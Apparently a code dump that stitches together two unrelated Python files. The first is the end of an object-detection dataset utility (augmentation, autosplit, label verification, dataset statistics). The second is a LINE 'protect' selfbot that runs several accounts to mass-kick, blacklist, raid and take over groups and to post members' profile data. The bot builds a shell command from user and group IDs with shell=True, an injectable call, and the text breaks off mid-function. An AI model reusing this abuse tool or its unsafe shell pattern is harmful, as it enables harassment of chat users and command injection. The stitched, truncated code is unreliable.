segments9 = [x - c for x in segments9]
for x in (labels9[:, 1:], *segments9):
np.clip(x, 0, 2 * s, out=x) # clip when using random_perspective()
# img9, labels9 = replicate(img9, labels9) # replicate
# Augment
img9, labels9 = random_perspective(img9, labels9, segments9,
degrees=self.hyp['degrees'],
translate=self.hyp['translate'],
scale=self.hyp['scale'],
shear=self.hyp['shear'],
perspective=self.hyp['perspective'],
border=self.mosaic_border) # border to remove
return img9, labels9
def create_folder(path='./new'):
# Create folder
if os.path.exists(path):
shutil.rmtree(path) # delete output folder
os.makedirs(path) # make new output folder
def flatten_recursive(path='../datasets/coco128'):
# Flatten a recursive directory by bringing all files to top level
new_path = Path(path + '_flat')
create_folder(new_path)
for file in tqdm(glob.glob(str(Path(path)) + '/**/*.*', recursive=True)):
shutil.copyfile(file, new_path / Path(file).name)
def extract_boxes(path='../datasets/coco128'): # from utils.datasets import *; extract_boxes()
# Convert detection datasets into classification datasets, with one directory per class
path = Path(path) # images dir
shutil.rmtree(path / 'classifier') if (path / 'classifier').is_dir() else None # remove existing
files = list(path.rglob('*.*'))
n = len(files) # number of files
for im_file in tqdm(files, total=n):
if im_file.suffix[1:] in IMG_FORMATS:
# image
im = cv2.imread(str(im_file))[..., ::-1] # BGR to RGB
h, w = im.shape[:2]
# labels
lb_file = Path(img2label_paths([str(im_file)])[0])
if Path(lb_file).exists():
with open(lb_file, 'r') as f:
lb = np.array([x.split() for x in f.read().strip().splitlines()], dtype=np.float32) # labels
for j, x in enumerate(lb):
c = int(x[0]) # class
f = (path / 'classifier') / f'{c}' / f'{path.stem}_{im_file.stem}_{j}.jpg' # new filename
if not f.parent.is_dir():
f.parent.mkdir(parents=True)
b = x[1:] * [w, h, w, h] # box
# b[2:] = b[2:].max() # rectangle to square
b[2:] = b[2:] * 1.2 + 3 # pad
b = xywh2xyxy(b.reshape(-1, 4)).ravel().astype(np.int)
b[[0, 2]] = np.clip(b[[0, 2]], 0, w) # clip boxes outside of image
b[[1, 3]] = np.clip(b[[1, 3]], 0, h)
assert cv2.imwrite(str(f), im[b[1]:b[3], b[0]:b[2]]), f'box failure in {f}'
def autosplit(path='../datasets/coco128/images', weights=(0.9, 0.1, 0.0), annotated_only=False):
""" Autosplit a datasets into train/val/test splits and save path/autosplit_*.txt files
Usage: from utils.datasets import *; autosplit()
Arguments
path: Path to images directory
weights: Train, val, test weights (list, tuple)
annotated_only: Only use images with an annotated txt file
"""
path = Path(path) # images dir
files = sum([list(path.rglob(f"*.{img_ext}")) for img_ext in IMG_FORMATS], []) # image files only
n = len(files) # number of files
random.seed(0) # for reproducibility
indices = random.choices([0, 1, 2], weights=weights, k=n) # assign each image to a split
txt = ['autosplit_train.txt', 'autosplit_val.txt', 'autosplit_test.txt'] # 3 txt files
[(path.parent / x).unlink(missing_ok=True) for x in txt] # remove existing
print(f'Autosplitting images from {path}' + ', using *.txt labeled images only' * annotated_only)
for i, img in tqdm(zip(indices, files), total=n):
if not annotated_only or Path(img2label_paths([str(img)])[0]).exists(): # check label
with open(path.parent / txt[i], 'a') as f:
f.write('./' + img.relative_to(path.parent).as_posix() + '\n') # add image to txt file
def verify_image_label(args):
# Verify one image-label pair
im_file, lb_file, prefix = args
nm, nf, ne, nc = 0, 0, 0, 0 # number missing, found, empty, corrupt
try:
# verify images
im = Image.open(im_file)
im.verify() # PIL verify
shape = exif_size(im) # image size
assert (shape[0] > 9) & (shape[1] > 9), f'image size {shape} <10 pixels'
assert im.format.lower() in IMG_FORMATS, f'invalid image format {im.format}'
if im.format.lower() in ('jpg', 'jpeg'):
with open(im_file, 'rb') as f:
f.seek(-2, 2)
assert f.read() == b'\xff\xd9', 'corrupted JPEG'
# verify labels
segments = [] # instance segments
if os.path.isfile(lb_file):
nf = 1 # label found
with open(lb_file, 'r') as f:
l = [x.split() for x in f.read().strip().splitlines() if len(x)]
if any([len(x) > 8 for x in l]): # is segment
classes = np.array([x[0] for x in l], dtype=np.float32)
segments = [np.array(x[1:], dtype=np.float32).reshape(-1, 2) for x in l] # (cls, xy1...)
l = np.concatenate((classes.reshape(-1, 1), segments2boxes(segments)), 1) # (cls, xywh)
l = np.array(l, dtype=np.float32)
if len(l):
assert l.shape[1] == 5, 'labels require 5 columns each'
assert (l >= 0).all(), 'negative labels'
assert (l[:, 1:] <= 1).all(), 'non-normalized or out of bounds coordinate labels'
assert np.unique(l, axis=0).shape[0] == l.shape[0], 'duplicate labels'
else:
ne = 1 # label empty
l = np.zeros((0, 5), dtype=np.float32)
else:
nm = 1 # label missing
l = np.zeros((0, 5), dtype=np.float32)
return im_file, l, shape, segments, nm, nf, ne, nc, ''
except Exception as e:
nc = 1
msg = f'{prefix}WARNING: Ignoring corrupted image and/or label {im_file}: {e}'
return [None, None, None, None, nm, nf, ne, nc, msg]
def dataset_stats(path='coco128.yaml', autodownload=False, verbose=False, profile=False, hub=False):
""" Return datasets statistics dictionary with images and instances counts per split per class
To run in parent directory: export PYTHONPATH="$PWD/yolov5"
Usage1: from utils.datasets import *; dataset_stats('coco128.yaml', autodownload=True)
Usage2: from utils.datasets import *; dataset_stats('../datasets/coco128_with_yaml.zip')
Arguments
path: Path to data.yaml or data.zip (with data.yaml inside data.zip)
autodownload: Attempt to download datasets if not found locally
verbose: Print stats dictionary
"""
def round_labels(labels):
# Update labels to integer class and 6 decimal place floats
return [[int(c), *[round(x, 4) for x in points]] for c, *points in labels]
def unzip(path):
# Unzip data.zip TODO: CONSTRAINT: path/to/abc.zip MUST unzip to 'path/to/abc/'
if str(path).endswith('.zip'): # path is data.zip
assert Path(path).is_file(), f'Error unzipping {path}, file not found'
assert os.system(f'unzip -q {path} -d {path.parent}') == 0, f'Error unzipping {path}'
dir = path.with_suffix('') # datasets directory
return True, str(dir), next(dir.rglob('*.yaml')) # zipped, data_dir, yaml_path
else: # path is data.yaml
return False, None, path
def hub_ops(f, max_dim=1920):
# HUB ops for 1 image 'f'
im = Image.open(f)
r = max_dim / max(im.height, im.width) # ratio
if r < 1.0: # image too large
im = im.resize((int(im.width * r), int(im.height * r)))
im.save(im_dir / Path(f).name, quality=75) # save
zipped, data_dir, yaml_path = unzip(Path(path))
with open(check_file(yaml_path), encoding='ascii', errors='ignore') as f:
data = yaml.safe_load(f) # data dict
if zipped:
data['path'] = data_dir # TODO: should this be dir.resolve()?
check_dataset(data, autodownload) # download datasets if missing
hub_dir = Path(data['path'] + ('-hub' if hub else ''))
stats = {'nc': data['nc'], 'names': data['names']} # statistics dictionary
for split in 'train', 'val', 'test':
if data.get(split) is None:
stats[split] = None # i.e. no test set
continue
x = []
dataset = LoadImagesAndLabels(data[split]) # load datasets
for label in tqdm(dataset.labels, total=dataset.n, desc='Statistics'):
x.append(np.bincount(label[:, 0].astype(int), minlength=data['nc']))
x = np.array(x) # shape(128x80)
stats[split] = {'instance_stats': {'total': int(x.sum()), 'per_class': x.sum(0).tolist()},
'image_stats': {'total': dataset.n, 'unlabelled': int(np.all(x == 0, 1).sum()),
'per_class': (x > 0).sum(0).tolist()},
'labels': [{str(Path(k).name): round_labels(v.tolist())} for k, v in
zip(dataset.img_files, dataset.labels)]}
if hub:
im_dir = hub_dir / 'images'
im_dir.mkdir(parents=True, exist_ok=True)
for _ in tqdm(ThreadPool(NUM_THREADS).imap(hub_ops, dataset.img_files), total=dataset.n, desc='HUB Ops'):
pass
# Profile
stats_path = hub_dir / 'stats.json'
if profile:
for _ in range(1):
file = stats_path.with_suffix('.npy')
t1 = time.time()
np.save(file, stats)
t2 = time.time()
x = np.load(file, allow_pickle=True)
print(f'stats.npy times: {time.time() - t2:.3f}s read, {t2 - t1:.3f}s write')
file = stats_path.with_suffix('.json')
t1 = time.time()
with open(file, 'w') as f:
json.dump(stats, f) # save stats *.json
t2 = time.time()
with open(file, 'r') as f:
x = json.load(f) # load hyps dict
print(f'stats.json times: {time.time() - t2:.3f}s read, {t2 - t1:.3f}s write')
# Save, print and return
if hub:
print(f'Saving {stats_path.resolve()}...')
with open(stats_path, 'w') as f:
json.dump(stats, f) # save stats.json
if verbose:
print(json.dumps(stats, indent=2, sort_keys=False))
return stats
|
CatBot_Protect.py | # -*- coding: utf-8 -*-
#Cat_Bot
import LINETCR
from LINETCR.lib.curve.ttypes import *
from datetime import datetime
import time,random,sys,json,codecs,threading,glob,re,ast,os,subprocess,wikipedia,goslate
import bs4
import ast
import requests,json,urllib
import html5lib
from random import randint
from bs4 import BeautifulSoup
from gtts import gTTS
cl = LINETCR.LINE()
cl.login(qr=True)
#cl.login(token='')
cl.loginResult()
print "Cl-Login Success\n"
ki = LINETCR.LINE()
ki.login(qr=True)
#ki.login(token='')
ki.loginResult()
print "Ki-Login Success\n"
kk = LINETCR.LINE()
kk.login(qr=True)
#kk.login(token='')
kk.loginResult()
print "Kk-Login Success\n"
kc = LINETCR.LINE()
kc.login(qr=True)
#kc.login(token='')
kc.loginResult()
print "Kc-Login Success\n"
kr = LINETCR.LINE()
kr.login(qr=True)
#kr.login(token='')
kr.loginResult()
print "Kr-Login Success\n\n=====[Sukses All Login]====="
reload(sys)
sys.setdefaultencoding('utf-8')
helpMessage ="""
========『Fฺ่่่๋iฺ่่่๋zฺ่่่๋ Bot』========
『Comand In Group』
☔Creator
☔Gcreator
☔Ginfo
☔Gift/ All gift
☔Kick: (mid)
☔Invite: (mid)
☔Listgroup
☔Gurl
☔Cancelall
☔Absen
☔Add all
☔Recover
☔Speed
☔Ban @
☔Banlist
☔Unban @
☔Gn: (NamaGroup)
☔Url:on / off
☔Qr:on / off
☔Autokick:on / off
☔Autocancel:on / off
『For Creator』
🔬Tagall
🔬Nk: @
🔬Boom @
🔬Bye all
🔬@Bye
🔬Bc text
🔬Contact bc text
🔬Kill ban
🔬Set member:
🔬Ban group:
🔬Join group:
🔬Leave group:
🔬Leave all group
🔬Auto join:on / off
🔬All join / (Fiz1/2/3 join)
『Spesial Comand』
🛡Apakah
🛡Quote
🛡Translate
🛡runtime
🛡Kalender
🛡Cek contoh>>> Cek 05-03-2003
🛡Mid @
🛡Bye @
🛡Dj @
🛡wikipedia
🛡Teman all
🛡Teman
🛡Flist
🛡.Say
🛡Mode on
🛡Mimic on/off
🛡Target @
🛡Target del @
🛡Target list
🛡Copy @
🛡Mycopy @
🛡Sampul @
🛡Pp @
🛡cover @
🛡Mybackup
🛡Salam1/Salam2
🛡Setlastpoint
🛡Viewlastseen
🛡.istagram >>>namanya
🛡/ig >>> namanya
🛡/lirik
🛡/youtube
🛡lyric
🛡Youtube:
🛡music
🛡Getname @
🛡Midpict
🛡Hack
🛡kedapkedip
🛡.reboot
『Fฺ่่่๋iฺ่่่๋zฺ่่่๋ Bot』
"""
KAC=[cl,ki,kk,kc]
mid = cl.getProfile().mid
Amid = ki.getProfile().mid
Bmid = kk.getProfile().mid
Cmid = kc.getProfile().mid
Bots=[mid,Amid,Bmid,Cmid]
Creator="u29b7d9118645af64909adba01fe4cb26"
admin=["u29b7d9118645af64909adba01fe4cb26"]
wait = {
"LeaveRoom":True,
"AutoJoin":True,
"Members":1,
"AutoCancel":True,
"AutoKick":True,
"blacklist":{},
"teman":{},
"wblacklist":False,
"dblacklist":False,
"Qr":True,
"Timeline":True,
"Contact":True,
"lang":"JP",
"BlGroup":{}
}
wait2 = {
'readPoint':{},
'readMember':{},
'setTime':{},
'ROM':{}
}
wait3 = {
"copy":False,
"copy2":"target",
"target":{}
}
setTime = {}
setTime = wait2['setTime']
contact = cl.getProfile()
mybackup = cl.getProfile()
mybackup.displayName = contact.displayName
mybackup.statusMessage = contact.statusMessage
mybackup.pictureStatus = contact.pictureStatus
def mention(to, nama):
aa = ""
bb = ""
strt = int(0)
akh = int(0)
nm = nama
print nm
for mm in nm:
akh = akh + 3
aa += """{"S":"""+json.dumps(str(strt))+""","E":"""+json.dumps(str(akh))+""","M","""+json.dumps(mm)+"),"""
strt = strt + 4
akh = akh + 1
bb += "@x \n"
aa = (aa[:int(len(aa)-1)])
msg = Message()
msg.to = to
msg.from_ = admin
msg.text = bb
msg.contentMetadata ={'MENTION':'{"MENTIONEES":['+aa+']}','EMTVER':'4'}
print msg
try:
cl.sendMessage(msg)
except Exception as error:
print error
def NOTIFIED_READ_MESSAGE(op):
print op
try:
if op.param1 in wait2['readPoint']:
Name = cl.getContact(op.param2).displayName
if Name in wait2['readMember'][op.param1]:
pass
else:
wait2['readMember'][op.param1] += "\n・" + Name + datetime.now().strftime(' [%d - %H:%M:%S]')
wait2['ROM'][op.param1][op.param2] = "・" + Name + " ツ"
else:
pass
except:
pass
def RECEIVE_MESSAGE(op):
msg = op.message
try:
if msg.contentType == 0:
try:
if msg.to in wait2['readPoint']:
if msg.from_ in wait2["ROM"][msg.to]:
del wait2["ROM"][msg.to][msg.from_]
else:
pass
except:
pass
else:
pass
except KeyboardInterrupt:
sys.exit(0)
except Exception as error:
print error
print ("\n\nRECEIVE_MESSAGE\n\n")
return
def restart_program():
python = sys.executable
os.execl(python, python, * sys.argv)
def sendMessage(to, text, contentMetadata={}, contentType=0):
mes = Message()
mes.to, mes.from_ = to, profile.mid
mes.text = text
mes.contentType, mes.contentMetadata = contentType, contentMetadata
if to not in messageReq:
messageReq[to] = -1
messageReq[to] += 1
mulai = time.time()
def waktu(secs):
mins, secs = divmod(secs,60)
hours, mins = divmod(mins,60)
return '%02d Jam %02d Menit %02d Detik' % (hours, mins, secs)
def bot(op):
try:
#--------------------END_OF_OPERATION--------------------
if op.type == 0:
return
#-------------------NOTIFIED_READ_MESSAGE----------------
if op.type == 55:
try:
group_id = op.param1
user_id=op.param2
subprocess.Popen('echo "'+ user_id+'|'+str(op.createdTime)+'" >> dataSeen/%s.txt' % group_id, shell=True, stdout=subprocess.PIPE, )
except Exception as e:
print e
#------------------NOTIFIED_INVITE_INTO_ROOM-------------
if op.type == 22:
cl.leaveRoom(op.param1)
#--------------------INVITE_INTO_ROOM--------------------
if op.type == 21:
cl.leaveRoom(op.param1)
#--------------NOTIFIED_INVITE_INTO_GROUP----------------
if op.type == 13:
print op.param3
if op.param3 in mid:
if op.param2 in Creator:
cl.acceptGroupInvitation(op.param1)
if op.param3 in Amid:
if op.param2 in Creator:
ki.acceptGroupInvitation(op.param1)
if op.param3 in Bmid:
if op.param2 in Creator:
kk.acceptGroupInvitation(op.param1)
if op.param3 in Cmid:
if op.param2 in Creator:
kc.acceptGroupInvitation(op.param1)
#--------------------------------------------------------
if op.param3 in mid:
if op.param2 in Amid:
cl.acceptGroupInvitation(op.param1)
if op.param3 in mid:
if op.param2 in Bmid:
cl.acceptGroupInvitation(op.param1)
if op.param3 in mid:
if op.param2 in Cmid:
cl.acceptGroupInvitation(op.param1)
#--------------------------------------------------------
if op.param3 in Amid:
if op.param2 in mid:
ki.acceptGroupInvitation(op.param1)
if op.param3 in Amid:
if op.param2 in Bmid:
ki.acceptGroupInvitation(op.param1)
if op.param3 in Amid:
if op.param2 in Cmid:
ki.acceptGroupInvitation(op.param1)
#--------------------------------------------------------
if op.param3 in Bmid:
if op.param2 in mid:
kk.acceptGroupInvitation(op.param1)
if op.param3 in Bmid:
if op.param2 in Amid:
kk.acceptGroupInvitation(op.param1)
if op.param3 in Bmid:
if op.param2 in Cmid:
kk.acceptGroupInvitation(op.param1)
#--------------------------------------------------------
if op.param3 in Cmid:
if op.param2 in mid:
kc.acceptGroupInvitation(op.param1)
if op.param3 in Cmid:
if op.param2 in Amid:
kc.acceptGroupInvitation(op.param1)
if op.param3 in Cmid:
if op.param2 in Bmid:
kc.acceptGroupInvitation(op.param1)
#--------------------------------------------------------
if mid in op.param3:
if wait["AutoJoin"] == True:
G = cl.getGroup(op.param1)
if len(G.members) <= wait["Members"]:
cl.rejectGroupInvitation(op.param1)
else:
cl.acceptGroupInvitation(op.param1)
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ti = cl.reissueGroupTicket(op.param1)
ki.acceptGroupInvitationByTicket(op.param1,Ti)
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kc.acceptGroupInvitationByTicket(op.param1,Ti)
G.preventJoinByTicket = True
cl.updateGroup(G)
cl.sendText(op.param1,"Ketik 'Help' untuk bantuan\n\nHarap gunakan dengan bijak!")
else:
if op.param2 in admin:
cl.acceptGroupInvitation(op.param1)
G = cl.getGroup(op.param1)
G.preventJoinByTicket = False
cl.updateGroup(G)
Ti = cl.reissueGroupTicket(op.param1)
ki.acceptGroupInvitationByTicket(op.param1,Ti)
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kc.acceptGroupInvitationByTicket(op.param1,Ti)
G.preventJoinByTicket = True
cl.updateGroup(G)
cl.sendText(op.param1,"Ketik 'Help' untuk bantuan\n\nHarap gunakan dengan bijak!")
else:
cl.rejectGroupInvitation(op.param1)
else:
if wait["AutoCancel"] == True:
if op.param3 in Bots:
pass
else:
cl.cancelGroupInvitation(op.param1, [op.param3])
else:
if op.param3 in wait["blacklist"]:
cl.cancelGroupInvitation(op.param1, [op.param3])
cl.sendText(op.param1, "Blacklist Detected")
else:
pass
#------------------NOTIFIED_KICKOUT_FROM_GROUP-----------------
if op.type == 19:
if wait["AutoKick"] == True:
try:
if op.param3 in Bots:
pass
if op.param2 in Bots:
pass
else:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
if op.param2 in wait["blacklist"]:
pass
else:
kk.inviteIntoGroup(op.param1,[op.param3])
except:
try:
if op.param2 not in Bots:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
if op.param2 in wait["blacklist"]:
pass
else:
random.choice(KAC).inviteIntoGroup(op.param1,[op.param3])
except:
print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]")
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
else:
pass
#-----------------------------------------------------------------
if mid in op.param3:
if op.param2 in Bots:
pass
try:
ki.kickoutFromGroup(op.param1,[op.param2])
kk.kickoutFromGroup(op.param1,[op.param2])
except:
try:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
except:
print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]")
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
G = ki.getGroup(op.param1)
G.preventJoinByTicket = False
ki.updateGroup(G)
Ti = ki.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
ki.acceptGroupInvitationByTicket(op.param1,Ti)
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kc.acceptGroupInvitationByTicket(op.param1,Ti)
X = cl.getGroup(op.param1)
X.preventJoinByTicket = True
cl.updateGroup(X)
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
if Amid in op.param3:
if op.param2 in Bots:
pass
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kc.kickoutFromGroup(op.param1,[op.param2])
except:
try:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
except:
print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]")
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
X = kk.getGroup(op.param1)
X.preventJoinByTicket = False
cl.updateGroup(X)
Ti = kk.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
ki.acceptGroupInvitationByTicket(op.param1,Ti)
kk.acceptGroupInvitationByTicket(op.param1,Ti)
G = ki.getGroup(op.param1)
G.preventJoinByTicket = True
ki.updateGroup(G)
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
if Bmid in op.param3:
if op.param2 in Bots:
pass
try:
kc.kickoutFromGroup(op.param1,[op.param2])
kk.kickoutFromGroup(op.param1,[op.param2])
except:
try:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
except:
print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]")
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
X = kc.getGroup(op.param1)
X.preventJoinByTicket = False
kc.updateGroup(X)
Ti = kc.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
ki.acceptGroupInvitationByTicket(op.param1,Ti)
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kc.acceptGroupInvitationByTicket(op.param1,Ti)
G = kk.getGroup(op.param1)
G.preventJoinByTicket = True
kk.updateGroup(G)
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
if Cmid in op.param3:
if op.param2 in Bots:
pass
try:
cl.kickoutFromGroup(op.param1,[op.param2])
kk.kickoutFromGroup(op.param1,[op.param2])
except:
try:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
except:
print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]")
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
X = cl.getGroup(op.param1)
X.preventJoinByTicket = False
cl.updateGroup(X)
Ti = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
ki.acceptGroupInvitationByTicket(op.param1,Ti)
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kc.acceptGroupInvitationByTicket(op.param1,Ti)
G = kc.getGroup(op.param1)
G.preventJoinByTicket = True
kc.updateGroup(G)
if op.param2 in wait["blacklist"]:
pass
else:
if op.param2 in Bots:
pass
else:
wait["blacklist"][op.param2] = True
#--------------------------------------------------------
if Creator in op.param3:
if op.param2 in Bots:
pass
try:
ki.kickoutFromGroup(op.param1,[op.param2])
kk.kickoutFromGroup(op.param1,[op.param2])
except:
try:
if op.param2 not in Bots:
random.choice(KAC).kickoutFromGroup(op.param1,[op.param2])
if op.param2 in wait["blacklist"]:
pass
else:
random.choice(KAC).inviteIntoGroup(op.param1,[op.param3])
except:
print ("client Kick regulation or Because it does not exist in the group\ngid=["+op.param1+"]\nmid=["+op.param2+"]")
if op.param2 in wait["blacklist"]:
pass
if op.param2 in wait["whitelist"]:
pass
else:
wait["blacklist"][op.param2] = True
random.choice(KAC).inviteIntoGroup(op.param1,[op.param3])
if op.param2 in wait["blacklist"]:
pass
if op.param2 in wait["whitelist"]:
pass
else:
wait["blacklist"][op.param2] = True
#--------------------------NOTIFIED_UPDATE_GROUP---------------------
if op.type == 11:
if wait["Qr"] == True:
if op.param2 in Bots:
pass
else:
X = cl.getGroup(msg.to)
X.preventJoinByTicket = False
cl.updateGroup(X)
Ti = cl.reissueGroupTicket(msg.to)
kr.acceptGroupInvitationByTicket(msg.to,Ti) #kicker join
X.preventJoinByTicket = True
kk.updateGroup(X)
kr.kickoutFromGroup(msg.to,[op.param2])
kr.leaveGroup(msg.to)
else:
pass
#--------------------------RECEIVE_MESSAGE---------------------------
if op.type == 26:
msg = op.message
#----------------------------------------------------------------------------
if msg.contentType == 13:
if wait["wblacklist"] == True:
if msg.contentMetadata["mid"] not in admin:
if msg.contentMetadata["mid"] in wait["blacklist"]:
ki.sendText(msg.to,"already")
kk.sendText(msg.to,"already")
kc.sendText(msg.to,"already")
wait["wblacklist"] = False
else:
wait["blacklist"][msg.contentMetadata["mid"]] = True
wait["wblacklist"] = False
ki.sendText(msg.to,"aded")
kk.sendText(msg.to,"aded")
kc.sendText(msg.to,"aded")
else:
cl.sendText(msg.to,"Admin Detected~")
elif wait["dblacklist"] == True:
if msg.contentMetadata["mid"] in wait["blacklist"]:
del wait["blacklist"][msg.contentMetadata["mid"]]
ki.sendText(msg.to,"deleted")
kk.sendText(msg.to,"deleted")
kc.sendText(msg.to,"deleted")
wait["dblacklist"] = False
else:
wait["dblacklist"] = False
ki.sendText(msg.to,"It is not in the black list")
kk.sendText(msg.to,"It is not in the black list")
kc.sendText(msg.to,"It is not in the black list")
#--------------------------------------------------------
elif wait["Contact"] == True:
msg.contentType = 0
cl.sendText(msg.to,msg.contentMetadata["mid"])
if 'displayName' in msg.contentMetadata:
contact = cl.getContact(msg.contentMetadata["mid"])
try:
cu = cl.channel.getCover(msg.contentMetadata["mid"])
except:
cu = ""
cl.sendText(msg.to,"[displayName]:\n" + msg.contentMetadata["displayName"] + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu))
else:
contact = cl.getContact(msg.contentMetadata["mid"])
try:
cu = cl.channel.getCover(msg.contentMetadata["mid"])
except:
cu = ""
cl.sendText(msg.to,"[displayName]:\n" + contact.displayName + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu))
#--------------------------------------------------------
elif msg.text == "Ginfo":
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
try:
gCreator = ginfo.creator.displayName
except:
gCreator = "Error"
if wait["lang"] == "JP":
if ginfo.invitee is None:
sinvitee = "0"
else:
sinvitee = str(len(ginfo.invitee))
if ginfo.preventJoinByTicket == True:
u = "close"
else:
u = "open"
cl.sendText(msg.to,"[Group name]\n" + str(ginfo.name) + "\n\n[Gid]\n" + msg.to + "\n\n[Group creator]\n" + gCreator + "\n\n[Profile status]\nhttp://dl.profile.line.naver.jp/" + ginfo.pictureStatus + "\n\nMembers:" + str(len(ginfo.members)) + "members\nPending:" + sinvitee + "people\nURL:" + u + "it is inside")
else:
cl.sendText(msg.to,"[group name]\n" + str(ginfo.name) + "\n[gid]\n" + msg.to + "\n[group creator]\n" + gCreator + "\n[profile status]\nhttp://dl.profile.line.naver.jp/" + ginfo.pictureStatus)
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Can not be used outside the group")
else:
cl.sendText(msg.to,"Not for use less than group")
#--------------------------------------------------------
elif msg.text is None:
return
#--------------------------------------------------------
elif msg.text in ["Creator"]:
msg.contentType = 13
msg.contentMetadata = {'mid': 'u29b7d9118645af64909adba01fe4cb26'}
cl.sendMessage(msg)
cl.sendText(msg.to,"Itu Yang Bikin BOT")
#--------------------------------------------------------
elif msg.text in ["Creator gw"]:
msg.contentType = 13
msg.contentMetadata = {'mid': 'u29b7d9118645af64909adba01fe4cb26'}
cl.sendMessage(msg)
jawab = ("This is my Creator")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='en')
tts.save('tts.mp3')
cl.sendAudio(msg.to,'tts.mp3')
#--------------------------------------------------------
elif msg.text in ["Group creator","Gcreator","gcreator"]:
ginfo = cl.getGroup(msg.to)
gCreator = ginfo.creator.mid
msg.contentType = 13
msg.contentMetadata = {'mid': gCreator}
cl.sendMessage(msg)
cl.sendText(msg.to,"Itu Yang Buat Grup Ini")
#--------------------------------------------------------
elif msg.contentType == 16:
if wait["Timeline"] == True:
msg.contentType = 0
msg.text = "post URL\n" + msg.contentMetadata["postEndUrl"]
cl.sendText(msg.to,msg.text)
#--------------------------------- TRANSLATE ------------
elif "/translate-en " in msg.text:
txt = msg.text.replace("/translate-en ","")
try:
gs = goslate.Goslate()
trs = gs.translate(txt,'en')
cl.sendText(msg.to,trs)
print '[Command] Translate EN'
except:
cl.sendText(msg.to,'Error.')
elif "/translate-id " in msg.text:
txt = msg.text.replace("/translate-en ","")
try:
gs = goslate.Goslate()
trs = gs.translate(txt,'id')
cl.sendText(msg.to,trs)
print '[Command] Translate ID'
except:
cl.sendText(msg.to,'Error.')
#---------------------------------------------------------
elif "pp @" in msg.text:
if msg.toType == 2:
cover = msg.text.replace("pp @","")
_nametarget = cover.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Not found")
else:
for target in targets:
try:
h = cl.getContact(target)
cl.sendImageWithURL(msg.to,"http://dl.profile.line-cdn.net/" + h.pictureStatus)
except Exception as error:
print error
cl.sendText(msg.to,"Upload image failed.")
elif "Pp @" in msg.text:
if msg.toType == 2:
cover = msg.text.replace("Pp @","")
_nametarget = cover.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Not found")
else:
for target in targets:
try:
h = cl.getContact(target)
cl.sendImageWithURL(msg.to,"http://dl.profile.line-cdn.net/" + h.pictureStatus)
except Exception as error:
print error
cl.sendText(msg.to,"Upload image failed.")
elif "/lirik " in msg.text.lower():
songname = msg.text.replace("/lirik ","")
params = {"songname":songname}
r = requests.get('https://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
cl.sendText(msg.to,song[5])
print "[Command] Lirik"
elif "/lagu " in msg.text.lower():
songname = msg.text.replace("/lagu ","")
params = {"songname":songname}
r = requests.get('https://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
cl.sendText(msg.to,"Judul : " + song[0] + "\nDurasi : " + song[1])
cl.sendAudioWithURL(msg.to,song[3])
print "[Command] Lagu"
elif "/youtube " in msg.text:
query = msg.text.replace("/youtube ","")
with requests.session() as s:
